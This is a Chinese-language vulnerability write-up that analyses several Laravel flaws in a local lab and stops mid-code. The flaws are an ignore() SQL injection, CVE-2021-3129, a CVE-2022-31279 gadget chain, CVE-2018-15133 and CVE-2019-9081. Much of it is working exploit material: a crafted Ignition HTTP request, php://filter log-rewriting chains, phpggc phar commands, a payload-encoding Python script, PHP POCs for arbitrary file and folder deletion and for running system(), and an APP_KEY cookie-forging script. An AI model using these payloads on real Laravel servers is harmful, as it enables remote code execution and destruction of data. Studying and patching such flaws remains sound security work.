Laravel漏洞合集

SQL注入(ignore)

漏洞描述:

该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illuminate/Validation/Rules/Unique.php。有时候开发者希望在进行字段唯一性验证时忽略指定字段以及字段值,通常会调用Rule类的ignore方法。该方法有两个参数,第一个参数为字段值,第二个参数为字段名,当字段名为空时,默认字段名为“id”。如果用户可以控制ignore()方法的参数值,就会产生SQL注入漏洞。漏洞影响版本<=5.8.5

查看官方修改:

image-20230717104547143

image-20230717111129726

发现在ignore值获取的过程中添加了addslashes()过滤

测试环境搭建:

新建一个控制器:\app\Http\Controllers\TestController.php

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
class TestController extends Controller
{
    public function index(Request $request)
    {
        $validator = Validator::make($request->input(), [
            'username' => [
                'required',
                Rule::unique("users")->ignore($request->input("id"))
            ],
        ]);
        dump($validator->fails());
    }
}

在该index方法内部,首先创建了一个验证器实例$validator。验证器Validator::make()用于验证请求的输入数据是否符合指定的规则。

在这个例子中,Validator使用了make()方法来创建一个验证器实例,并将request->input()作为要验证的数据传递进去。验证器根据指定的规则对输入数据进行验证。在这里,验证规则是”username”字段是必需的(required),并且在数据库表”users”中是唯一的(unique)。使用了Rule::unique()方法来设置这个规则,并通过ignore()方法忽略了当前请求输入中的”id”字段的值。

最后,使用dump()函数输出$validator->fails()的结果。

routes/web.php添加路由:

Route::any("/","TestController@index");

最后在.env配置好数据库连接信息

在5.7.0的版本中的对应代码:/vendor/laravel/ramework/src/Illuminate/Validation/Rules/Unique.php

public function ignore($id, $idColumn = null)
    {
        if ($id instanceof Model) {
            return $this->ignoreModel($id, $idColumn);
        }

        $this->ignore = $id;
        $this->idColumn = $idColumn ?? 'id';

        return $this;
    }

public function __toString()
    {
        return rtrim(sprintf('unique:%s,%s,%s,%s,%s',
            $this->table,
            $this->column,
            $this->ignore ? '"'.$this->ignore.'"' : 'NULL',
            $this->idColumn,
            $this->formatWheres()
        ), ',');
    }

在这两个方法开始的地方下断点调试

/username=admin&id=2

image-20230718165536832

$this->ignore直接获取到请求传来的$id

之后会走到这个类下的__toString方法,这里也只是对 $this->ignore是否为空的处理,然后构造出unique:users,NULL,"2",id

image-20230718170055180

然后回到构造函数:$validator->fails()跟进:

public function fails()
    {
        return ! $this->passes();
    }

继续跟进:passes()

这里存在一个二维数组rules的遍历,然后调用了validateAttribute,跟进validateAttribute

image-20230718171036378

validateAttribute方法的最后,会根据rule的内容进行调用validate开头的方法,这里会调用到validateUnique方法

image-20230718171821430

validateUnique方法的最后,会调用一个getCount方法,这个方法是用来判断唯一性的,说明里面存在sql执行,跟进查看

image-20230718172746191

在这个方法中,前面部分是构建sql语句的,再跟进count(),猜测这里是执行sql语句的地方

image-20230718173031435

再这个方法里只有一行,继续往下跟进

public function count($columns = '*')
    {
        return (int) $this->aggregate(__FUNCTION__, Arr::wrap($columns));
    }

跟进到compileSelect,得到sql语句,其中?是占位符

image-20230718174033102

得到sql语句后返回,返回到select()

image-20230718174350206

在这个函数中bindValues方法对sql语句的占位符绑定了数据,然后执行查询,返回执行数据

注入:

注入通常是对键名 进行带入, 如果带入进键值的话, 没有任何效果, 这里关键的突破点就是 ignore函数中的 idColumn 变量, 以及 toString() 在处理 ignore中的处理方式

上面传入username=admin&id=1时,得到的sql语句为

select count(*) as aggregate from `users` where `username` = ? and `id` = ?

当传入username=admin&id=1","aaa","时:

select count(*) as aggregate from `users` where `username` = ? and `aaa` <> ? and `` = ?

在parse()函数解析id的值时,将1","aaa","分开了

image-20230718202447714

然后覆盖了$idColumn

image-20230718203016018

注入后出现报错

image-20230718203839207

是注入了,但是我无法将其利用,太菜了

CVE-2021-3129(debug rce)

影响版本:Laravel <= 8.4.2&&facade ignition 组件 < =2.5.1

简介:

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

查看更新,对比laravel的8.4.2和8.4.3版本,并没发现什么重要的修改

查看ignition的更新 ,对比2.5.1和2.5.2版本

image-20230714153223899

src/Solutions/MakeViewVariableOptionalSolution.php修改了两个函数,其中makeOptional函数添加了对**$parameters[‘viewFile’]**的安全过滤

修改前:

public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

漏洞就出现在函数的第一行file_get_contents($parameters['viewFile']) 这个数组是由函数的参数获取,后面存在一个内容替换,根据$,可以猜测这个是一个变量名,将$变量名替换为$变量名 ?? ''

查看这个函数被调用的地方,就在这个函数的上方,发现有两个

public function isRunnable(array $parameters = [])
    {
        return $this->makeOptional($this->getRunParameters()) !== false;
    }

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

先分析isRunnable这里的makeOptional的参数是$this->getRunParameters()的返回值,跟进发现,它直接获取这个类的属性值,属性的赋值在构造函数中

public function getRunParameters(): array
    {
        return [
            'variableName' => $this->variableName,
            'viewFile' => $this->viewFile,
        ];
    }

public function __construct($variableName = null, $viewFile = null)
    {
        $this->variableName = $variableName;
        $this->viewFile = $viewFile;
    }

再分析run方法

public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

这个第一句就调用了makeOptional,参数也是直接来自run的参数,而且后面还存在一个file_put_contents

大概的意思是从makeOptional()获取文件的内容然后修改,然后在run()中调用file_put_contents将修改后的内容重新写回到该文件

下一步直接找调用run()的地方,直接找到vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php

class ExecuteSolutionController
{
    use ValidatesRequests;
    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

首先要在getRunnableSolution()方法获取类,再执行这个类的run方法

可以看到run的参数来自$request->get('parameters', []),从字面意思来看,似乎是从一个请求参数中获取名为parameters的数组

所在的函数是__invoke是个魔术函数,当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

翻找开发文档:https://laravelacademy.org/post/21973

image-20230714163703599

通过这个开发文档可以知道,这个ExecuteSolutionController是一个单一控制器,果断搜索这个类的名字

找到:vendor/facade/ignition/src/IgnitionServiceProvider.php

image-20230714164022360

在这里基本可以知道数据包

POST /.../execute-solution

但是其中的...还未知

到这里思路就断了,回头查看,这个类的函数都在facade/ignition下,就是laravel的一个组件

这个组件的作用:(翻译后的)

image-20230714162243708

搞个报错应该就能触发组件里的类和方法了,但是错误有很多种,组件里面有对不同错误进行处理的类,根据出现漏洞的类的类名MakeViewVariableOptionalSolution.php 可以知道这个错误和View相关,再根据上面提到的变量名替换 ,可以知道当View内的文件引用一个未定义的模板

即可触发这个类的对应方法,前提是开启了debug

根据开发文档,在resources/view/里添加了一个模板,命名为hello.blade.php

<html>
<body><h1>hello, {{ $name }}</h1></body>
</html>

添加路由:routes/web.php

Route::get('/hello', function () {
    return view('hello');
});

然后访问http://127.0.0.1/hello,出现报错,并且出现出现变量名替换

image-20230714175756477

点击Make variable optional就你走到漏洞出现的地方,这里进行抓包:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.0.121
Content-Length: 198
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.0.121
Referer: http://192.168.0.121/hello
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:  XDEBUG_SESSION=PHPSTORM; 
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"D:\\phpstudy_pro\\WWW\\laravel-8.4.2\\resources\\views\\hello.blade.php"}}

可以看到POST里面存在parameters 参数,并且solution也指向了MakeViewVariableOptionalSolution这个类

image-20230715141049157

参数传递解决,下一步解决file_get_contents和file_put_contents的利用,这里的这两个函数的参数,只能控制第一个参数,就是文件名,这里可以利用伪协议

测试phar反序列化 , 使用./phpggc生成一个phar.log ,这里的依赖存在monolog,所以用这条链

php -d'phar.readonly=0' ./phpggc monolog/rce1 system calc --phar phar -o phar.log

修改数据表

image-20230716170214432

发包:

在file_get_contents触发了反序列化

image-20230716170340480

image-20230716170532868

这个有个大前提,这个phar文件必须在受害者服务器上,而且是已知路径,正常来说,如果不存在文件上传,服务器上面是不可能存在这个phar文件

这里利用file_put_contents 使用php伪协议php://filter/write达到控制laravel.log内容的效果。首先要想利用laravel.log,先清空log内容。可能会想到一直base64 decode。直到都为不可见字符解码清空。但是这个做法会有问题。因为base64在解码的时候如果”=”后面还有内容则会报错。大佬的做法是utf-8转utf-16 然后quoted-printable编码 然后utf-16转utf-8 完成上述操作后log中所有字符转为不可见字符,最后base64 decode即可。

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

image-20230716172359114

修改前的laravel.log

image-20230716172431556

发包后:

image-20230716172511858

下一步就是将phar的内容写入log文件里

生成POC

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

因为win系统没有base64命令,所以写成下面的python脚本

import subprocess
import base64

# 执行第一步命令并获取输出结果
cmd1 = 'D:\\phpstudy_pro\\Extensions\\php\\php7.4.30nts\\php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o phar.log'
p1 = subprocess.Popen(cmd1, shell=True, stdout=subprocess.PIPE)
output1, _ = p1.communicate()

# print(output1)
# 读取日志文件内容
with open('phar.log', 'rb') as f:
    log_content = f.read()

# 将日志内容进行Base64编码
base64_output = base64.b64encode(log_content).decode()
# print(base64_output)
# 将Base64编码后的结果转换为大写十六进制形式,每个字符前添加"="符号
hex_output = ''.join(['=' + hex(ord(i))[2:] + '=00' for i in base64_output]).upper()
print(hex_output)

将生成的payload发送过去,然后报错,记录在log里面

image-20230718091831933

然后输入下面的伪协议进行解密:

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

发现解密出错了:

image-20230718092049976

查看日志发现是convert.iconv.utf-16le.utf-8这一步解密出错了,这个过滤器的报错很容易理解,它是把两个字符变成一个字符

image-20230718092240244

因此如果不是偶数个字符的话,就会报错,说明经过convert.quoted-printable-decode之后,日志中的字符数正好是奇数个,因此会报错。这时候我们需要想办法改一下在进行iconv的时候日志中字符的数量

查看解密前的log会发现,log里面记录着两次完整的payload, 还有一次是部分payload 而且是前面的部分,大概长这样

[时间] [报错信息字符串] viewFile的值 [报错信息字符串] viewFile的值 [报错信息字符串] 
...
[报错信息字符串] 部分viewFile的值 [报错信息字符串]
...

如果我们想改变log长度的奇偶性,必须在payload前面添加字符,因为在前面添加一个字符,相当于整个log添加了3个字符,这样就能改变奇偶性,如果在paylaod的后面加,相当于整个log添加了2个字符奇偶性不变

当我们在前面添加了一个字符之后,重新解密,发现convert.quoted-printable-decode出错了,查看解密前的结果

image-20230718095615248

这里参考https://blog.csdn.net/qq_22146195/article/details/107500750了解Quoted-printable 编码

发现,当我们不加上’A’的时候是这样的 file_get_contents('=50=00=44=00=39...') 刚好可以解密,当加了一个’A’之后会挤掉了最后的9,这样最后是=3了,printable不能正好匹配了。因此改进的办法就很简单了,需要加三个A这里就会变成这样AAA=50=00=44=00和一开始这种情况(这时候是奇数个)=50=00=44=00=39相比

进行convert.quoted-printable-decode过滤器处理之后,一开始是5个字符,现在是7个字符,相当于增加得是2个字符,奇偶性还是没变。同样的道理,即使再添加3个字符也是一样,解密后,奇偶性还是没变

接下来单纯得想办法在前面或者后面增加A应该都不太行,解决办法就是额外再请求一条AA,让一开始payload不加A的时候就是偶数个,而不是奇数个

即,清空log之后,发送一个payload为”AA” 的数据表,此时报错然后记录再log中,此时字符个数是奇数个(如果只发送一个A,结果是偶数个),此时再发送一个上面不加A的payload =50=00=44=00=39...,此时两个奇数个的数据表加起来就能经过convert.iconv.utf-16le.utf-8正常的处理了

处理后的结果:

image-20230718103632817

可以看到有两处相同的base64编码,即使后面正常的解密出来,也得不到正常的phar文件,我们可以在payload前面或者后面添加字符,使得utf-16转成utf-8时总有一个payload能被转换出来。

添加字符后不能改变奇偶性,所以如果在后面添加,log永远是偶数,但是在我的环境中经过base64解密后,会报错,所以在考虑前面加,如果在前面加,就要添加字符的个数为3的倍数,这样才不会改变奇偶性,这里添加了3个A

image-20230718105846412

base64解密前

image-20230718105152647

解密后:

image-20230718105302708

此时已经将phar文件写入了log里面,最后一步就是触发phar反序列化了

phar://../storage/logs/laravel.log/test.txt

image-20230718105622874

每个人的环境不同,payload构造不一样,网上的脚本不一定能用

反序列化

5.4.x (CVE-2022-31279)

这里使用的是5.4.30

环境搭建:

添加控制器:Http/Controllers/POPController.php

<?php
namespace App\Http\Controllers;
class POPController extends Controller
{
    public function index()
    {
        if(isset($_GET['c'])){
            $c = $_GET['c'];
            unserialize($c);
        }
        else{
            phpinfo();
        }
    }
}

添加路由routes/web.php

Route::get("/","\App\Http\Controllers\POPController@index");

反序列化第一步,找__destruct(),找到了23个结果

image-20230719112207798

简单看了一遍所有的结果,能用的不多,而且还找到了个简单的任意文件删除

\vendor\swiftmailer\swiftmailer\lib\classes\Swift\ByteStream\TemporaryFileByteStream.php

private $_path;

public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }

public function getPath()
    {
        return $this->_path;
    }

这里的__destruct调用了getPath() 而这个方法里面直接返回_path属性,这个属性可控,修改为要删除的文件路径就能删除任意文件了

POC:

假设存在一个名为1.txt的文件在public目录下

<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
    private $_path;
    public function __construct()
    {
        $this->_path='1.txt';//文件名
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
}
$a=new Swift_ByteStream_TemporaryFileByteStream();
echo urlencode(serialize($a));

另外一个是删除任意文件夹

//vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
public function __destruct()
    {
        foreach ($this->_keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
   }

这里的$this->_keys可以控制,说明$nsKey可控,然后调用$this->clearAll

public function clearAll($nsKey)
    {
        if (array_key_exists($nsKey, $this->_keys)) {
            foreach ($this->_keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->_path.'/'.$nsKey)) {
                rmdir($this->_path.'/'.$nsKey);
            }
            unset($this->_keys[$nsKey]);
        }
    }

可以看到rmdir函数而且$this->_path可控,并且$nsKey可控,所以这里可以删除任意文件夹

POC2:

假设存在一个名为aaa的文件夹在public目录下

// 删除当前目录下名为aaa的文件夹
<?php
class Swift_KeyCache_DiskKeyCache
{
    private $_path;
    private $_keys = array();
    public function __construct()
    {
        $this->_path='.';//当前目录
        $this->_keys=array('aaa'=>array('1'=>'2')); //aaa为文件夹名
    }
}
$a = new Swift_KeyCache_DiskKeyCache();
echo urlencode(serialize($a));

下面回到开始的 __destruct()

除了上面两个,还注意到这个:

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里可以触发__call,也可以调用任意类的dispatch(),如果是调用dispatch方法,可有控制输入的参数$this->event

先走__call这个方向看看,全局查找 __call ,找到很多

image-20230719144322636

这里找到

vendor/fzaninotto/faker/src/Faker/Generator.php

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$method为触发__call调用的方法名dispatch, 而$attributes为dispatch的参数,即$this->event,可控

跟进format

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

这里调用了call_user_func_array ,再跟进getFormatter

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

注意第一个if ,这个$this->formatters可控,如果构造$this->formatters=['dispatch'=>'system'],就能返回函数名system 利用call_user_func_array调用system函数

构造POC尝试

<?php
namespace Illuminate\Broadcasting;
use Faker\Generator;
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct()
    {
        $this->event = 'calc';
        $this->events = new Generator();
    }
}
namespace Faker;
class Generator
{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters=['dispatch'=>'system'];
    }
}
use Illuminate\Broadcasting\PendingBroadcast;
$a = new PendingBroadcast();
echo urlencode(serialize($a));

经过调试发现$this->formatters赋值不上,原因是这个类存在一个__wakeup将$this->formatters 置空了

public function __wakeup()
{
   $this->formatters = [];
}

这个可以绕过,只要序列化的中的成员数大于实际成员数,即可绕过,但是有php版本限制,PHP5<5.6.25,PHP7 < 7.0.10

而安装laravel的php版本需要php>=5.64 , 如果修改了成员数,是可以绕过__wakeup,但是会造成$this->event = 'calc';赋不上值

image-20230719162724629

这条链子就这样被掐断了,尝试寻找其他绕过的方法

参考了https://xz.aliyun.com/t/11886,找到了另外一种绕过方法,这里需要去https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/看看,理解序列化字符串中的R和r的关系,具体绕过原理里面有讲

总的来说就是:

  1. Faker\Generator$this->formatters 和某个对象$o的某个属性 $a 指向同一个值
  2. Faker\Generator__wakeup() 运行完之后,反序列化 gadget 的 __destruct() 运行之前,给 $a 赋值
  3. $a 的赋值如果完全可控,那么 $this->formatters 将不再为空,且完全可控

构造链子的过程https://xz.aliyun.com/t/11886有,这里就不多BB了,下面是自己写链子的时候遇到的一些坑:

首先是构造Symfony\Component\Routing\Route的时候,没有实现Serializable接口的方法,导致报错无法进行下去,尽管在利用的过程中没有找到利用到它们的地方

image-20230720203701975

还有就是替换的地方,需要了解序列化字符串的结果,每个符号表示什么,主要是准确找到需要替换的地方

echo urlencode(str_replace('a:1:{s:2:"aa";s:2:"bb";}', 'R:14;', serialize($a)));

R后面的数字是什么意思,参考这篇文章https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/

最后的POC

<?php
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\Routing\RouteCollection;
use Symfony\Component\Routing\Route;
use Illuminate\Broadcasting\PendingBroadcast;
class CollectionConfigurator
{
    private $route;
    public function __construct()
    {
        $this->parent = new RouteCollection();
        $this->collection = new RouteCollection();
        $this->route = new Route('');
        $this->parentConfigurator = new PendingBroadcast();
    }
}

namespace Symfony\Component\Routing;
class RouteCollection
{
    private $routes;
    public function __construct()
    {
        $this->routes = array("dispatch" => "system");
    }
}

namespace Symfony\Component\Routing;
class Route implements \Serializable
{
    private $path;
    public function __construct()
    {
        $this->path="//";
    }

    public function serialize()
    {
        return serialize([
            'path' => $this->path,
            'host' => $this->host,
            'defaults' => $this->defaults,
            'requirements' => $this->requirements,
            'options' => $this->options,
            'schemes' => $this->schemes,
            'methods' => $this->methods,
            'condition' => $this->condition,
            'compiled' => $this->compiled,
        ]);
    }
    public function unserialize($serialized)
    {
    }

}

//---------------下面这段是前面未成功的POC

namespace Illuminate\Broadcasting;
use Faker\Generator;
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct()
    {
        $this->events=new Generator();
        $this->event="calc";
    }
}

namespace Faker;
class Generator
{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters=["aa"=>"bb"];
    }
}

use Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator;
$a = new CollectionConfigurator();

echo urlencode(str_replace('a:1:{s:2:"aa";s:2:"bb";}', 'R:14;', serialize($a)));

CVE-2018-15133

漏洞利用前提:

需要获取app_key+Laravel framework 5.5.x<=5.5.40或5.6.x<=5.6.29

环境搭建:

composer create-project laravel/laravel laravel-5.6.29 --prefer-dist "5.6.0"

然后修改composer.json 中的laravel/framework版本为5.6.29 运行composer update

如果出现报错:PackageManifest.php: Undefined index: name

找到对应文件 :

vendor/laravel/framework/src/Illuminate/Foundation/PackageManifest.php

找到对应行注释掉 :

$packages = json_decode($this->files->get($path), true);

在这里新增两行代码

$installed = json_decode($this->files->get($path), true);
$packages = $installed['packages'] ?? $installed;

官方修复:src/Illuminate/Cookie/Middleware/EncryptCookies.php
image-20230721094831825

src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php

image-20230721094915218

官方通过添加静态的serialized方法来控制序列化和反序列化

src/Illuminate/Cookie/Middleware/EncryptCookies.php中,找到官方修复的地方

protected function encrypt(Response $response)
    {
        foreach ($response->headers->getCookies() as $cookie) {
            if ($this->isDisabled($cookie->getName())) {
                continue;
            }

            $response->headers->setCookie($this->duplicate(
                $cookie, $this->encrypter->encrypt($cookie->getValue())
            ));
        }

        return $response;
    }

这里是cookie加密的地方,首先从http请求中获取cookie,然后传进isDisabled进行检查, 这方法不重要,重要的是后面的encrypt方法,经过这个方法加密得到的cookie,然后传给setCookie,响应到前端设置新的Cookie值

下面跟进encrypt方法:

public function encrypt($value, $serialize = true)
    {
        $iv = random_bytes(openssl_cipher_iv_length($this->cipher));

        // First we will encrypt the value using OpenSSL. After this is encrypted we
        // will proceed to calculating a MAC for the encrypted value so that this
        // value can be verified later as not having been changed by the users.
        $value = \openssl_encrypt(
            $serialize ? serialize($value) : $value,
            $this->cipher, $this->key, 0, $iv
        );

        if ($value === false) {
            throw new EncryptException('Could not encrypt the data.');
        }

        // Once we get the encrypted value we'll go ahead and base64_encode the input
        // vector and create the MAC for the encrypted value so we can then verify
        // its authenticity. Then, we'll JSON the data into the "payload" array.
        $mac = $this->hash($iv = base64_encode($iv), $value);

        $json = json_encode(compact('iv', 'value', 'mac'));

        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new EncryptException('Could not encrypt the data.');
        }

        return base64_encode($json);
    }

加密的过程如下:

  1. 先随机生成一个初始化向量iv,iv 的长度由所选的加密算法决定,这里的加密算法默认是AES-128-CBC,也可能是AES-256-CBC,调试发现是使用AES-256-CBC

  2. 然后使用 OpenSSL 库中的 openssl_encrypt() 方法对数据进行加密。如果 $serialize 参数为 true,则将值先进行序列化,然后再进行加密。加密使用了指定的加密算法 $this->cipher即,密钥为 $this->key,即base64解密后的APP_KEY ,加密模式为默认值 0,使用前面生成的 iv

  3. 下一步是检查加密过程是否失败,如果失败则抛出 EncryptException 异常

  4. mac的计算是通过调用 hash() 方法,使用哈希算法生成对加密后的数据进行校验的消息认证码(Message Authentication Code, MAC)。其中,IV 经过 Base64 编码后作为参数传递给 hash() 方法。

  5. 将 iv、加密后的值和 MAC 组成一个关联数组,然后使用 JSON 编码将其转换为字符串

  6. 最后就是将JSON字符串进行base64编码返回到前端

这里加密存在序列化,说明解密过程大概率存在反序列化

protected function decrypt(Request $request)
    {
        foreach ($request->cookies as $key => $cookie) {
            if ($this->isDisabled($key)) {
                continue;
            }

            try {
                $request->cookies->set($key, $this->decryptCookie($cookie));
            } catch (DecryptException $e) {
                $request->cookies->set($key, null);
            }
        }

        return $request;
    }

这个解密和加密差不多,重请求中获取cookie,然后进行解密,跟进decryptCookie

protected function decryptCookie($cookie)
    {
        return is_array($cookie)
                        ? $this->decryptArray($cookie)
                        : $this->encrypter->decrypt($cookie);
    }

这里会判断cookie是不是数组,如果是则调用decryptArray,如果不是则直接调用decrypt

查看decryptArray

protected function decryptArray(array $cookie)
    {
        $decrypted = [];

        foreach ($cookie as $key => $value) {
            if (is_string($value)) {
                $decrypted[$key] = $this->encrypter->decrypt($value);
            }
        }

        return $decrypted;
    }

如果是数组则遍历解密,直接看decrypt方法

public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        // Here we will decrypt the value. If we are able to successfully decrypt it
        // we will then unserialize it and return it out to the caller. If we are
        // unable to decrypt this value we will throw out an exception message.
        $decrypted = \openssl_decrypt(
            $payload['value'], $this->cipher, $this->key, 0, $iv
        );

        if ($decrypted === false) {
            throw new DecryptException('Could not decrypt the data.');
        }

        return $unserialize ? unserialize($decrypted) : $decrypted;
    }
  1. 通过调用 getJsonPayload() 方法获取密文数据的 JSON 解码后的关联数组
  2. 将 Base64 编码的 IV 进行解码,得到原始的初始化向量
  3. 然后使用 OpenSSL 库中的 openssl_decrypt() 方法对密文进行解密。解密使用了与加密时相同的加密算法 $this->cipher 和密钥 $this->key,加密模式为默认值 0,初始化向量为之前解码得到的 IV
  4. 检查解密过程是否失败,如果失败则抛出 DecryptException 异常
  5. 根据 $unserialize 参数决定是否进行反序列化操作。如果指定为 true,则对解密后的数据进行反序列化并返回,否则直接返回解密后的数据。

到这里很清晰的知道如何触发反序列化漏洞了,就是构造value部分,将序列化后的字符串进行AES-256-CBC加密

image-20230721154009506

下一步就是找反序列化链,这里可以直接使用https://github.com/ianxtianxt/phpggc 工具生成,建议生成的序列化字符串进行base64编码,如果直接复制去加密,大概率会出错,导致反序列化不成功

./phpggc Laravel/RCE3 system calc | base64

image-20230721195009139

然后就按照上面的加密过程进行写个php加密脚本

$key是APP_KEY , $value是上面工具生成

<?php
$key = "qiGlxICOjT6xZ70O4qMc2oHPWjzqLT4bH8ePsfXavRU=";
$value = "Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIA
KgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6
Mzp7czo2OiIAKgBhcHAiO3M6NDoiY2FsYyI7czoxNzoiACoAZGVmYXVsdENoYW5uZWwiO3M6MToi
eCI7czoxNzoiACoAY3VzdG9tQ3JlYXRvcnMiO2E6MTp7czoxOiJ4IjtzOjY6InN5c3RlbSI7fX19
Cg==";
$cipher = 'AES-256-CBC';

$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = \openssl_encrypt(
    base64_decode($value), $cipher, base64_decode($key), 0, $iv
);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, base64_decode($key));
$json = json_encode(compact('iv', 'value', 'mac'));
$encodedPayload = base64_encode($json);
echo "加密结果" . $encodedPayload . ";";

然后随便替换一个cookie即可

image-20230721180612955

CVE-2019-9081

漏洞简介:

Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码

环境搭建

composer create-project laravel/laravel laravel-5.7.29 --prefer-dist "5.7"

添加控制器:Http/Controllers/POPController.php

<?php
namespace App\Http\Controllers;
class POPController extends Controller
{
    public function index()
    {
        if(isset($_GET['c'])){
            $c = $_GET['c'];
            unserialize($c);
        }
        else{
            phpinfo();
        }
    }
}

添加路由routes/web.php

Route::get("/","\App\Http\Controllers\POPController@index");

Laravel v5.7相较Laravel v5.6在vendor/laravel/framework/src/Illuminate/Foundation/Testing下新增了PendingCommand.php,其中有PendingCommand类,它的__destruct方法是这样的

public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

查看官方文档

image-20230724101641216

这个run方法是用来执行命令的

查看这个方法:

public function run()
    {
        $this->hasExecuted = true;
        $this->mockConsoleOutput();
        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }

可以猜测$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);这个是用来执行命令的,具体是怎么执行命令的需要调试一下,但是mockConsoleOutput()方法里面报错了

为了程序能够走到$exitCode,跟进mockConsoleOutput()

protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);
        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }
        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

第一个出现的报错是$this->parameters没有值,这里需要的是一个数组,那就给他一个数组

image-20230724103411878

再跟进第二行的createABufferedOutputMock()

private function createABufferedOutputMock()
    {
        $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
